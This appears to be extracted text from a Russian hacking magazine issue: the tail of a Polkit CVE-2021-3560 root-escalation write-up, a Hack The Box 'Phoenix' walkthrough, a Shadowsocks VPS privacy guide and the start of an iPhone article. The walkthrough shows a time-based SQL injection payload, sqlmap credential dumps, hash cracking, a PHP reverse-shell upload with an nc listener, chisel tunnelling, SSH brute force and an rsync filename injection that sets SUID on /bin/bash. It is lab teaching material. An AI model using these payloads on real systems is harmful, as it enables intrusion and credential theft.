1. Про цесс  дает сиг нал о соз дании нового поль зовате ля про- 
цес су .

dbus-send
accounts-daemon

2. Про цесс  получа ет сиг нал через .
При этом  прик репит к сиг налу имя шины.

accounts-daemon dbus-daemon
dbus-daemon

3. В свою оче редь,  зап рашива ет у , раз решено ли
соеди нение c дан ной шиной для соз дания нового поль зовате ля.

account-daemon polkit

4. Для опре деле ния  зап рашива ет у  UID для кон некта.polkit dbus-daemon
5. Ес ли UID равен 0 (root),  авто ризу ет зап рос. Ина че  отправ- 

ляет аген ту аутен тифика ции спи сок поль зовате лей, которым раз решено
авто ризо вать зап рос.

polkit polkit

6. Агент аутен тифика ции отоб разит поль зовате лю диало говое окно для вво- 
да пароля, который потом отпра вит .polkit

7. Ес ли  все же авто ризу ет этот зап рос, он отпра вит сиг нал
к , а тот уже соз даст нового поль зовате ля.

polkit
accounts-daemon

Óÿçâèìîñòü â ñõåìå ðàáîòû Polkit

Уяз вимость находит ся на чет вертом эта пе пос ледова тель нос ти. Ког да Polkit
зап рашива ет у  UID кон некта, а это го кон некта боль ше не сущес- 

тву ет,  пра виль но обра баты вает эту ситу ацию и воз вра щает
ошиб ку. Но ока залось, что Polkit неп равиль но ее обра баты вает! Вмес то того
что бы откло нить зап рос, Polkit пос тупа ет так, как если бы он исхо дил от про- 
цес са с UID, рав ным 0, то есть немед ленно авто ризу ет.

dbus-daemon
dbus-daemon

Ýêñïëóàòàöèÿ óÿçâèìîñòè Polkit

Та ким обра зом, нам нуж но запус тить  и унич тожить его, пока Polkit
все еще обра баты вает зап рос. Но ока залось, что Polkit зап рашива ет у 

 UID про цес са нес коль ко раз по раз ным путям. Боль шинс тво из этих

путей пра виль но обра баты вают ошиб ку, но один из них — нет! Если убить
 дос рочно, то коман да будет обра бота на одним из «пра виль ных»

путей и зап рос будет откло нен. Что бы акти виро вать уяз вимый путь, надо
завер шить про цесс в нуж ный момент. Поэто му пос ледова тель ность дей ствий
тре бует ся выпол нить нес коль ко раз.

dbus-send
dbus-

daemon

dbus-send

Все это уже реали зова но в . Нуж но лишь запус тить файл
и дож дать ся при виле гиро ван ного кон тек ста.

ко де экс пло ита

Мы получа ем при виле гии рута и забира ем флаг.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://wpscan.com/
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py
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ВЗЛОМ

В сегод няшнем рай тапе мы с тобой сно ва
попен тестим WordPress. Про экс плу ати руем
SQL-инъ екцию и узна ем учет ные дан ные,
потом получим дос туп к хос ту через уяз- 
вимость заг рузки фай лов, а усложне но
это все будет работа ющим Web Application
Firewall. Прод винем ся и повысим при виле- 
гии, сде лав тун нель для проб роса SSH
и выпол нив инъ екцию в коман ду .
Все это — что бы прой ти слож ную машину
Phoenix с пло щад ки .

rsync

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

До бав ляем IP вир туал ки в :/etc/hosts

10.10.11.149    phoenix.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли три откры тых пор та: 22 — служ ба OpenSSH 8.2p1, 80 и 443 — веб-сер- 
вер Apache. Nmap отоб разил для нас поле  из сер тифика та
на 443-м пор те, но ука зан ный там домен нам уже известен.

commonName

Глав ная стра ница сай та phoenix.htb

За хожу на сайт, и пла гин  тут же сооб щает, что исполь зует ся
WordPress. Поэто му сра зу запус тим ска нер  с пол ным перебо ром

(параметр ) уста нов ленных пла гинов (параметр )

в 256 потоков (параметр ). Для авто мати чес кого опре деле ния уяз вимос тей
мож но получить на сай те API-токен и ука зать его при ложе нию (это бес плат- 
но). И что бы нам не вер нули ошиб ку про вер ки сер тифика та, отка зыва емся
от самой про вер ки ( ).

Wappalyzer

WPScan

--plugins-detection -e ap
-t

--disable-tls-checks

 ap 
 256 

wpscan --url https://phoenix.htb/ -e --plugins-detection 
aggressive -t --api-token 
KEDNckD8h7Ahn3WzqoSaxy1xa6RuLmx0nCl97cO83Dw --disable-tls-checks

Ре зуль тат работы WPScan

Но WPScan, что уди витель но, ничего не нашел. А вот сайт стал выдавать нам
код 403 вмес то отве тов.

От вет сай та

Это явный приз нак того, что тут работа ет Web Application Firewall (WAF).

ÒÎ×ÊÀ ÂÕÎÄÀ

Да вай сно ва запус тим WPScan — без агрессив ного ска ниро вания. По умол- 
чанию он перебе рет самые популяр ные пла гины.

wpscan --url https://phoenix.htb/ --api-token 
KEDNckD8h7Ahn3WzqoSaxy1xa6RuLmx0nCl97cO83Dw --disable-tls-checks

Ре зуль тат ска ниро вания WPScan

Мы наш ли нес коль ко уяз вимос тей в пла гине Asgaros Forum.
И еще обя затель но прос каниру ем катало ги. Так как катало ги в спис ке

отсорти рова ны по популяр ности и исполь зует ся популяр ная CMS, то, ско рее
все го, самые важ ные катало ги мы най дем еще до бло киров ки. Для ска ниро- 
вания исполь зуем лег кий, но очень быс трый .ffuf

ffuf  256 -u https://phoenix.htb/FUZZ -t -w directory_2.3_medium_
lowercase.txt 

Ре зуль тат ска ниро вания катало гов

При сутс тву ет каталог  — видимо, это то, что мы иска ли./forum

Стра ница forum

WPScan не толь ко ска ниру ет и опре деля ет уяз вимость, но и пре дос тавля ет
инс трук цию по ее экс плу ата ции. Из уяз вимос тей наибо лее прив лекатель на
SQL-инъ екция без авто риза ции.

Де тали уяз вимос ти Asgaros Forum

Для под твержде ния уяз вимос ти нуж но сде лать все го один зап рос. Обра- 
щаем ся к стра нице  через  и добав ляем параметрforum Burp Repeater

?subscribe_topic=1%20union%20select%201%20and%20sleep(10) 

Ес ли уяз вимость сра бота ет, то сер вер будет отве чать боль ше 10 с. Это под- 
твержда ет Repeater.

Вре мя отве та сер вера в Burp Repeater

Уяз вимость под твержде на, перехо дим к экс плу ата ции.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://wpscan.com/
https://github.com/ffuf/ffuf


HTB PHOENIX
ЛОМАЕМ САЙТ НА WORDPRESS В ОБХОД WAF

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Ïîëó÷åíèå ó÷åòíûõ äàííûõ WordPress

Это time-based «сле пая» инъ екция, то есть мы не получа ем дан ные из таб- 
лицы в явном виде, а дела ем вывод на осно вании выпол нения опре делен ного
усло вия — в дан ном слу чае вре мени обра бот ки зап роса. Ког да встре чаешь ся
с инъ екци ями такого типа, удоб нее все го поль зовать ся авто мати зиро ван ным
средс твом экс плу ата ции. Нас в этом слу чае выручит .sqlmap

Пос ле пер вого запус ка sqlmap под твер дил наличие уяз вимос ти и сфор- 
мировал наг рузку. Мы можем сузить круг поис ка уяз вимого парамет ра, задав
опцию . Так же выс тавим самый тяжелый уро вень наг рузок опци ей ,

ну и если у sqlmap будут к нам воп росы, пусть выбира ет самый при ори тет ный
(опция ).

-p --risk

--batch

  
 3 

sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p 
subscribe_topic --risk --batch

Ре зуль тат ска ниро вания sqlmap

Пос ле того как наг рузка сос тавле на, получим име на и хеши паролей поль- 
зовате лей. В WordPress все всег да стан дар тно: таб лица , стол бцы

 и .

wp_users
user_login user_pass

За даем sqlmap новые парамет ры: база ( ), таб лица ( ), наз вания стол- 

бцов ( ) и коман да  для получе ния дан ных.

-D -T
-C --dump

  
 3  

sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p 
subscribe_topic --risk -D wordpress -T wp_users --dump --batch

По луче ние дан ных с помощью sqlmap

У нас есть хеши — лома ем их! Но сна чала узна ем режим , рас парсив

справ ку.

hashcat

 |    hashcat --example grep -A2 -B2 '\$P\$'

Справ ка hashcat

По лучен ный режим ука зыва ем в парамет ре . У меня ушло око ло часа

для пол ного перебо ра, но получа ем три пароля.

-m

 400 hashcat -m -a 0 hashes.txt rockyou.txt 

Ре зуль тат перебо ра хешей с помощью hashcat

Ни какие из получен ных учет ных дан ных не под ходят к SSH, а WordPress вооб- 
ще исполь зует двух фактор ную аутен тифика цию.

Фор ма про вер ки OTP при аутен тифика ции в WordPress

Ïîëó÷åíèå àêòèâíûõ ïëàãèíîâ WordPress

Здесь я дол го думал, что делать даль ше, но в ито ге вспом нил, что прос- 
мотреть все пла гины нам помешал WAF. Зато теперь-то мы можем узнать их
наз вания, про читав стол бец  таб лицы . Сос тавим
зап рос так, что бы в вывод попали толь ко активные пла гины.

option_value wp_options

  
 3 

   

sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p 
subscribe_topic --risk -D wordpress -T wp_options -C option_value 
--where "option_name='active_plugins'" --dump --batch

Спи сок активных пла гинов

В спис ке при сутс тву ет уяз вимый пла гин Download from les, для которо го есть
, поз воля ющий заг ружать на сер вер фай лы.экс пло ит

Опи сание уяз вимос ти Download from les

С помощью это го экс пло ита мы заг рузим на сер вер 
на PHP. В этой наг рузке нуж но ука зать адрес и порт сво его хос та для под клю- 
чения. Не забыва ем запус тить лис тенер:

по пуляр ный реверс-шелл

 nc rlwrap -cAr -lvp 4321 

Из менен ный код реверс-шел ла

Но при экс плу ата ции уяз вимос ти получим сооб щение с ошиб кой про вер ки
сер тифика та.

python3 50287.py https://phoenix.htb shell.phtml 

Ошиб ка при выпол нении экс пло ита

В каж дый зап рос в исходни ках экс пло ита добавим опцию ,
которая дол жна отклю чить про вер ку SSL-сер тифика та.

verify=False

Из менение кода экс пло ита

Из менение кода экс пло ита

Те перь пов торно выпол няем экс пло ит и получа ем сооб щение, что файл
успешно заг ружен.

python3 50287.py https://phoenix.htb shell.phtml 

Со обще ние о заг рузке фай ла

Нам оста лось обра тить ся по ука зан ной ссыл ке, и мы получим бэк коннект
на свой лис тенер.

curl -k https://phoenix.htb/wp-admin/shell.phtml 

По луче ние уда лен ной сес сии

Мы получи ли дос туп к сис теме.

ÏÐÎÄÂÈÆÅÍÈÅ

Так как на хос те раз вернут веб-сер вер, а на нем работа ет целая CMS, пер вое
наше дей ствие — поп робовать получить какие-нибудь учет ные дан ные поль- 
зовате лей. Высока веро ятность, что эти учет ки подой дут и для локаль ных
поль зовате лей тоже. В слу чае с WordPress есть мес то, где учет ные дан ные
най дут ся всег да, — файл с нас трой ками для под клю чения к базе дан ных 

. Най дем этот файл и прос мотрим его содер жимое.

wp-
config.php

find ./ -name wp-config.php 2>/dev/null 

По иск фай ла wp-cong.php

Со дер жимое фай ла wp-cong.php

По луча ем еще один пароль. Теперь узна ем активных поль зовате лей из фай ла
 и про верим, не подой дет ли для дос тупа по SSH какая-нибудь

ком бинация из получен ных нами логинов и паролей.
/etc/passwd

Со дер жимое фай ла /etc/passwd

Нам нужен поль зователь editor, но авто ризо вать ся от его име ни никак
не получа лось. Это было очень подоз ритель но, поэто му я решил прос мотреть
воз можные нас трой ки авто риза ции. Раз гадка наш лась в фай ле 

. Он содер жит пра вила, опре деля ющие, каким

поль зовате лям и с каких адре сов раз решен вход.

/etc/
security/access-local.conf

Со дер жимое фай ла access-local.conf

Сто ит зап рет авто риза ции для всех адре сов, кро ме 10.11.12.13. А это наш
вто рой адрес!

Ре зуль тат коман ды ipcong

Нам нуж но тун нелиро вать тра фик, что бы под клю чить ся по SSH. Для тун- 
нелиро вания будем исполь зовать . Заг ружа ем один и тот же файл

на локаль ный и уда лен ный хост. А затем акти виру ем на локаль ном хос те сер- 
вер со сле дующи ми парамет рами: порт ( ), опция ожи дания под клю чения (

) и тип прок си.

chisel

-p -
-reverse

 ./chisel.bin server -p 5432 --reverse --socks5

Ло ги сер вера chisel

Под клю чаем ся с уда лен ного хос та. Ука зыва ем адрес и порт сер вера, а так же
пра вила рет ран сля ции тра фика: с уда лен ного пор та 2222 на порт 22 хос- 
та 10.11.12.13.

./chisel.bin client 10.10.14.60:5432 R:2222:10.11.12.13:22 

Ло ги кли ента chisel

В логах сер верной час ти дол жна появить ся информа ция о под клю чении
и соз дании новой сес сии.

Ло ги сер вера chisel

Те перь весь тра фик с пор та 2222 нашего локаль ного хос та будет рет ран сли- 
рован на порт 22 хос та 10.11.12.13. Выпол ним под бор пароля с помощью

.CrackMapExec

crackmapexec ssh 127.0.0.1 --port 2222 -u editor -p passwords.txt 

Ре зуль тат бру та паролей

И один из паролей подошел, поэто му мы можем авто ризо вать ся на хос те
и получить ста биль ную сес сию.

ssh -p2222 editor@127.0.0.1 

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ос матри ваем ся на хос те и находим исполня емый файл .cron.sh.x

Раз решения фай ла

За пус тим файл под , что бы пос мотреть фун кции, которые он исполь- 

зует.

ltrace

Трас сиров ка фай ла

Ви дим нес коль ко вызовов фун кции . Это зна чит, что файл выпол няет

в кон соли еще какие-то коман ды. Что бы узнать какие, исполь зуем .

exec
pspy64

Ло ги pspy64

В логах pspy видим запуск , ,  и дру гих ути лит. Сре ди них

есть и , для которой  тех ника GTFOBins.

mysqldump tar gzip
rsync су щес тву ет

В коман ду  будут встав лены все фай лы из катало га , но, если

мы можем исполь зовать «ненор маль ное» имя фай ла ,

при встав ке этой стро ки в коман ду rsync она будет вос при нимать ся не как имя
фай ла, а как параметр  и его зна чение , что при ведет к выпол- 

нению фай ла . Таким спо собом переда дим для выпол нения

скрипт, который наз начит бит SUID на файл коман дной обо лоч ки 
что бы мы мог ли его запус тить от име ни поль зовате ля root.

rsync /backup
-e test.test

-e test.test
test.test

,/bin/bash

  echo "chmod u+sx /bin/bash" > ralf.expl 
chmod +x ralf.expl 

  touch -- "-e sh ralf.expl"

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Где-то спус тя три минуты (пери од бэкапа понятен бла года ря име нам фай лов)
про веря ем раз решения ./bin/bash

Раз решения фай ла /bin/bash

S-бит выс тавлен, поэто му запус каем новую обо лоч ку в кон тек сте root.

Флаг рута

Флаг рута у нас в руках, и машина зах вачена!

https://github.com/sqlmapproject/sqlmap
https://www.exploit-db.com/exploits/50287
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
https://github.com/jpillora/chisel
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/DominicBreuker/pspy
https://gtfobins.github.io/gtfobins/rsync/


VPS
НЕПРИСТУПНЫЙ

СТРОИМ ЗАЩИЩЕННЫЙ КАНАЛ
С ВНЕШНИМ МИРОМ

Nik Zerof
xtahi0nix@gmail.com

ПРИВАТНОСТЬ

В нашем пол ном опас ностей, чрез вычай но жес током мире
нуж но уметь защищать свою жизнь, иму щес тво, тра фик
и дра гоцен ные фоточ ки с котика ми. В этой статье я рас ска- 
жу, как нас тро ить защищен ный канал свя зи с внеш ним
миром, который будет слож но отли чить от обыч ного HTTPS-
тра фика и, сле дова тель но, заб локиро вать или рас шифро- 
вать. Кол дунс тво вать мы будем с помощью прок си

 с пла гином . Все ПО находит ся в акту аль- 
ном сос тоянии и пос тоян но обновля ется.
Shadowsocks xray

WARNING

Ин форма ция пре дос тавле на исклю читель но
для озна коми тель ных и ака деми чес ких целей.
Автор про сит соб людать законо датель ство той
стра ны, на тер ритории которой ты находишь ся!

Кто может инте ресо вать ся тво ими сетевы ми соеди нени ями? Да кто угод но!
От хакер ских груп пировок до злоб ных адми нов, которые любят шей пить раз- 
ные типы тра фика (нап ример, наши любимые тор ренты). Да и прос то иног да
тре бует ся сме нить IP (нап ример, что бы пос мотреть зарубеж ную новин ку
в онлайн-киноте атре).

Итак, перед нас трой кой соф та нам при дет ся занять ся необ ходимы ми под-
готови тель ными работа ми:

ку пить VPS;•
ку пить домен ное имя;•
за регис три ровать ся на Cloudare и выпол нить необ ходимую нас трой ку.•

Раз берем по поряд ку.

VPS

Что бы свес ти рис ки к миниму му, необ ходимо выбирать хос тера VPS дос- 
таточ но дотош но — обра щай вни мание на то, в каком государс тве зарегис- 
три рова но юри дичес кое лицо, в каких стра нах физичес ки рас положе ны сер- 
веры. Пред почте ние сле дует отда вать тем, где законо датель ство стро го
отно сит ся к лич ной информа ции (нап ример, Швей цария или Исландия).
Это каса ется как мес та регис тра ции юри дичес кого лица, так и физичес кого
нахож дения сер веров.

Кро ме того, не сле дует забывать про «аль янс 14 глаз» (Авс тра лия, Бель- 
гия, Великоб ритания, Гер мания, Дания, Испа ния, Ита лия, Канада, Нидер- 
ланды, Новая Зелан дия, Нор вегия, США, Фран ция, Шве ция) — это стра ны,
которые сво бод но обме нива ются раз веддан ными друг с дру гом (законо- 
датель ство у них соот ветс тву ющее). Если твои дан ные попали в руки одной
стра ны из это го спис ка, мож но счи тать, что осталь ные тоже их получи ли.

Кро ме того, есть стра ны, которые так или ина че сот рудни чают с аль янсом:
Южная Корея, Япо ния, Изра иль, Син гапур. Это на уров не слу хов, но,
как извес тно, дыма без огня не быва ет. Мож но мно го говорить о том, что кон- 
крет но ты им не нужен, что у них и без тебя забот пол но, — тут каж дый реша ет
для себя, что ему важ нее. Нап ример, автор эти стра ны сра зу вычер кнул
из спис ка кан дидатов. Итак, VPS купили, идем даль ше.

ÄÎÌÅÍÍÎÅ ÈÌß

Здесь нет никаких осо бых тре бова ний, хочу толь ко отме тить, что час то хос- 
тинги VPS заод но тор гуют и домен ными име нами. На мой взгляд, более секь- 
юрно исполь зовать воз можнос ти того же хос тинга VPS, чем обра щать ся
в дру гую ком панию и там по вто рому кру гу све тить свои дан ные. В этой статье
мы будем исполь зовать некий абс трак тный домен . Идем

даль ше.

secret-site.com

INFO

По чему не сле дует исполь зовать ESNI/ECH? Все
очень прос то: если некото рые сетевые филь тры
не могут опре делить сайт наз начения, то они
прос то бло киру ют соеди нение.

CLOUDFLARE

Cloudare в нашей цепоч ке игра ет роль защит ного механиз ма: мы скры ваем
нас тоящий IP нашего VPS и защища ем его от некото рых видов атак. Тра фик
от нашего ком па будет идти сна чала в сеть Cloudare и толь ко из нее —
к нашему VPS. Кро ме того, Cloudare сге нери рует сер тификат для TLS-соеди- 
нения, и весь тра фик на всем пути сле дова ния будет завер нут в TLS 1.3.

Для начала нам нуж но прой ти регис тра цию и при вязать к сер вису куп- 
ленный домен. Далее на вклад ке DNS нуж но запол нить стро ки А (две шту ки),
в которые мы вво дим наш домен (в одну стро ку с прис тавкой , в дру гую

без нее) и IP нашего VPS.

www

За пол нение записей А

Пос ле это го необ ходимо ввес ти показан ные нам сер веры имен Cloudare
в панель управле ния нашего домен ного регис тра тора на вклад ке DNS.

Сер веры имен Cloudare

Да лее на вклад ке SSL/TLS:
вы бира ем шиф рование Full (strict);•
вклю чаем Always Use HTTPS;•
вклю чаем TLS 1.3;•
ус танав лива ем Minimum TLS Version на 1.3;•
вклю чаем Opportunistic Encryption;•
вклю чаем Automatic HTTPS Rewrites.•

Вклю чаем шиф рование соеди нения на пол ную!

Уф-ф, нем ного укре пили TLS, мож но дви гать ся даль ше. Теперь идем в Client
Certicates на той же вклад ке и жмем кноп ку Create Certicate для генера ции
сер тифика та и клю ча (усло вим ся, что фай лы будут называть ся 

 и ).

secret-site.
pem secret-site.key

Те перь идем на VPS и прис тупа ем к нас трой ке.

ÍÀÑÒÐÎÉÊÀ VPS

Итак, в некото рой сте пени уто митель ная под готови тель ная про цеду ра окон- 
чена, давай теперь нас тра ивать сам VPS. Все нас трой ки будут делать ся
на Debian 11 x64.

Сна чала обно вим пакеты и уста новим вспо мога тель ные ути литы:

apt update && apt upgrade -y
apt  install -y dnsutils nethogs vnstat sendmail fail2ban nano wget 
unzip htop psmisc nginx 

Те перь раз берем ся с сер тифика тами и клю чами от Cloudare — их мы
положим на наш VPS в пап ку  и выдадим ей пра ва толь ко на чте ние./etc/ssl/

Да лее надо сге нери ровать параметр Диф фи — Хел лма на:

openssl dhparam -out /etc/ssl/dh-param.pem 4096 

По ложим его в ту же пап ку ./etc/ssl/
Те перь прис тупим к нас трой кам Nginx в фай ле  —

в его стан дар тную струк туру дос таточ но добавить наш сер тификат, ключ, DH
и некото рые слу жеб ные нас трой ки:

/etc/nginx/nginx.conf

{ server
      =  = ; listen 443 ssl http2 reuseport backlog 131072 fastopen 256

  / / / - . ; ssl_certificate etc ssl secret site pem
  / / / - . ; ssl_certificate_key etc ssl secret site key
  / / / - .ssl_dhparam etc ssl dh param pem

  . ; ssl_protocols TLSv1 3
  ; ssl_ecdh_curve secp384r1

  - -   ; add_header X Robots Tag "noindex, nofollow" always
  - - -   ; add_header X Content Type Options "nosniff" always
  - -   ; add_header X Xss Protection "1; mode=block" always

  - -  
 ; 

add_header Strict Transport Security 'max-age=63072000; 
includeSubdomains; preload' always

   = ; resolver localhost valid 300s
  ; ssl_buffer_size 8k
  ; ssl_prefer_server_ciphers off

Да лее добавим локации:

  / { location
    =  =  ; limit_req zone one burst 5 nodelay

     .  . ; index index html index htm

    ; limit_rate 19k
    $  ; set limit_rate 19K
    ; proxy_redirect off
 } 

  /  {location secretline
    ; proxy_redirect off
    ; proxy_buffering off
    . ; proxy_http_version 1 1

    :// : /; proxy_pass http localhost 8008

     $ ; proxy_set_header Host http_host
     $ ; proxy_set_header Upgrade http_upgrade
    -  $ ; proxy_set_header Early Data ssl_early_data
     ; proxy_set_header Connection "upgrade"
 } 

В  я впи сал  — это прос то сайт-заг лушка, который

будет бол тать ся на нашем сер ваке для того, что бы про тивос тоять активно му
зон дирова нию. Про ще говоря, если какой-то зонд будет ска ниро вать сер вер
в поис ках Shadowsocks или чего-то еще, он прос то уви дит нашу заг лушку.
Тог да он подума ет, что это обыч ный сайт, оста вит нас в покое и уйдет пить
пиво.

location / index.html

Ло кация  — это и есть наш Shadowsocks. Вмес то
стро ки  нуж но при думать что-то более ори гиналь ное и труд- 

нопод бира емое, эта стро ка будет переда вать ся в качес тве парамет ра на кли- 
енте к пла гину xray.

location /secretline
secretline

Да лее ска чива ем и уста нав лива ем Shadowsocks и xray-plugin:

wget https://github.com/shadowsocks/shadowsocks-rust/releases/
download/v1.14.3/shadowsocks-v1.14.3.x86_64 unknown-linux-gnu.tar.xz 
&&

 tar -xf shadowsocks-v1.14.3.x86_64-unknown-linux-gnu.tar.xz 

wget https://github.com/teddysun/xray-plugin/releases/download/v1.5.
4/xray-plugin-linux-amd64-v1.5.5.tar.gz &&

 tar -xf xray-plugin-linux-amd64-v1.5.5.tar.gz 

Соз даем пап ку  и копиру ем в нее нуж ные фай лы:shadowsocks

mv ssserver /bin 
mv xray-plugin /etc/shadowsocks/xray-plugin 

Нас тра иваем раз решения:

setcap 'cap_net_bind_service=+eip' /etc/shadowsocks/xray-plugin 
setcap 'cap_net_bind_service=+eip' /bin/ssserver 

Те перь соз дадим файл кон фигура ции сер вера Shadowsocks:

touch /etc/shadowsocks/shadowsocks-rust.json 
nano /etc/shadowsocks/shadowsocks-rust.json 

И запишем туда такой текст:

{
 "server":["127.0.0.1"],
 "server_port":8008,
 "password":"Password123",
 "timeout":300,
 "method":"chacha20-ietf-poly1305",
 "fast_open":true,
 "reuse_port":true,
 "plugin":"/etc/shadowsocks/xray-plugin",
 "plugin_opts":"server;loglevel=none",
 "nameserver":"1.1.1.1",
 "mode": "tcp_and_udp",
 "no_delay": true,
 "workers":1

}

Да вай прой дем ся по основным пун ктам:
 — порт, на котором будет висеть сер вер shadowsocks;• "server_port"

 — количес тво ядер на сер вере;• "workers"
 — под дер жка про токо ла IPv6;• "ipv6_first"
 — IP DNS-сер вера, если есть локаль ный, то ;• "nameserver" 127.0.0.1

 и  исполь зуют ся для пла гина xray;• "plugin" "plugin_opts"
 — опти миза ция для более быс тро го исполь зования сети;• "reuse_port"

 — исполь зуемое шиф рование;• "method"
 — пароль для под клю чения к сер веру.• "password"

Те перь соз дадим сер вис :ss-xray.service

nano /etc/systemd/system/ss-xray.service 

За писы ваем туда сле дующий текст:

[Unit]

Description=Shadowsocks with XRAY
After=network.target

[Service]

Type=simple
User=nobody
Group=nogroup
LimitNOFILE=51200
ExecStart=/bin/ssserver -c /etc/shadowsocks/shadowsocks-rust.json
ExecStop=/bin/killall ssserver
Restart=always
RestartSec=10

[Install]

WantedBy=multi-user.target

Сох раня емся и выходим: Ctrl + O, Ctrl + X. Вклю чаем сер вис:

 sysctl -p && systemctl enable ss-xray.service 

С основной нас трой кой мы закон чили, теперь мож но нем ного опти мизи- 
ровать сетевой стек. В файл  дописы ваем сле дующее:/etc/sysctl.conf

  fs.file-max = 131072
  net.core.rmem_max = 8388608
  net.core.wmem_max = 8388608

  net.core.rmem_default = 8388608
  net.core.wmem_default = 8388608

  net.core.optmem_max = 8388608
  net.core.netdev_max_backlog = 131072

  net.core.somaxconn = 131072
  net.ipv4.ip_local_port_range = 1024 65535

  net.ipv4.tcp_mem = 25600 51200 102400
  net.ipv4.tcp_rmem = 4096 1048576 4194304
  net.ipv4.tcp_wmem = 4096 1048576 4194304

net.ipv4.tcp_fastopen=3
  net.ipv4.tcp_low_latency = 1

  net.ipv4.tcp_no_metrics_save = 1
  net.ipv4.tcp_adv_win_scale = 1

  net.ipv4.tcp_tw_reuse = 1
  net.ipv4.tcp_timestamps = 0
  net.ipv4.tcp_fin_timeout = 30

  net.ipv4.tcp_window_scaling = 1
  net.ipv4.tcp_keepalive_time = 150

  net.ipv4.tcp_keepalive_probes = 5
  net.ipv4.tcp_keepalive_intvl = 30

  net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_slow_start_after_idle=0

  net.ipv4.tcp_max_syn_backlog = 65536
  net.ipv4.tcp_max_tw_buckets = 720000

  net.ipv4.tcp_mtu_probing = 1

Опять сох раня емся и перезаг ружа ем сер вер. Теперь все дол жно работать.
Что в ито ге у нас получи лось? Зап рос от нашего ком па ухо дит в CDN

Cloudare, а воз вра щает ся от нашего VPS. Для внеш него наб людате ля соз- 
дает ся впе чат ление, буд то комп обща ется по TLS с каким-то сай том, но что
переда ет — узнать не получит ся, ибо шиф рование. Дру гими сло вами, наб- 
люда ется обыч ная сетевая активность, чего мы и хотели добить ся.

В качес тве кли ентов к сер ваку мож но сме ло юзать:
 для Android;• SagerNet

 для вин ды;• Shadowsocks-windows
 для macOS.• ShadowsocksX-NG

Как еще мож но укре пить наш VPS? Нап ример, так:
сме нить порт SSH для того, что бы авто мати чес кие ска неры не ломились
на стан дар тный порт;

•

нас тро ить Fail2ban, что бы огра ничить количес тво попыток ввес ти неп- 
равиль ный пароль для вхо да на сер вер;

•

вмес то пря мого обра щения к DNS-сер веру мож но нас тро ить локаль ный
сер вер, который свя зыва ется с внеш ним миром при помощи DoH или DoT,
что бы даже хос тер VPS не знал, какие DNS-зап росы ты шлешь;

•

нас тро ить учет тра фика, что бы не получить вне зап ный счет от хос тера
(если тра фик у него лимити рован).

•

Од ним сло вом, вклю чай фан тазию и обус тра ивай свой неп риступ ный VPS!

mailto:xtahi0nix@gmail.com
https://github.com/shadowsocks/shadowsocks-rust
https://github.com/teddysun/xray-plugin
https://github.com/SagerNet/SagerNet
https://github.com/shadowsocks/shadowsocks-windows
https://github.com/shadowsocks/ShadowsocksX-NG
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ПРИВАТНОСТЬ

Ког да iPhone отклю чен, боль шинс тво его
бес про вод ных чипов про дол жают 

 На новей ших моделях
iPhone при отсутс твии питания работа ют
Bluetooth, ком муника ция NFC и бес про вод- 
ная связь на базе тех нологии UWB. Этой
осо бен ностью тру бок Apple может вос поль- 
зовать ся не толь ко вла делец телефо на,
но и зло умыш ленни ки. Как? Давай раз- 
бирать ся.

функционировать.

Спе циалис ты из гер ман ской лабора тории Secure Mobile Networking Lab опуб- 
ликова ли  с гром ким заголов ком, гла сящим, что
в iPhone могут завес тись вре доно сы, которые оста ются активны ми даже пос- 
ле вык лючения питания девай са. Одна ко если вдум чиво про читать все один- 
надцать стра ниц док лада, выяс нится, что такие вре доно сы сущес тву ют
исклю читель но в вос пален ном вооб ражении этих самых гер ман ских иссле- 
дова телей. На самом деле речь идет о том, что в мобиль ных устрой ствах
под управле нием iOS име ется нес коль ко чипов, про дол жающих работать,
даже ког да питание телефо на отсутс тву ет. Так, при вык лючении iPhone поль- 
зователь все рав но мож но най ти его с помощью фун кции Find My Phone. Если
батарея раз рядит ся, то iPhone вык лючит ся авто мати чес ки и перей дет в энер- 
госбе рега ющий режим, но в таком слу чае все рав но сох раня ется дос туп
к кре дит ным кар там и дру гим объ ектам из при ложе ния Wallet. Эти воз можнос- 
ти могут прев ратить вык лючен ный телефон в устрой ство для слеж ки за поль- 
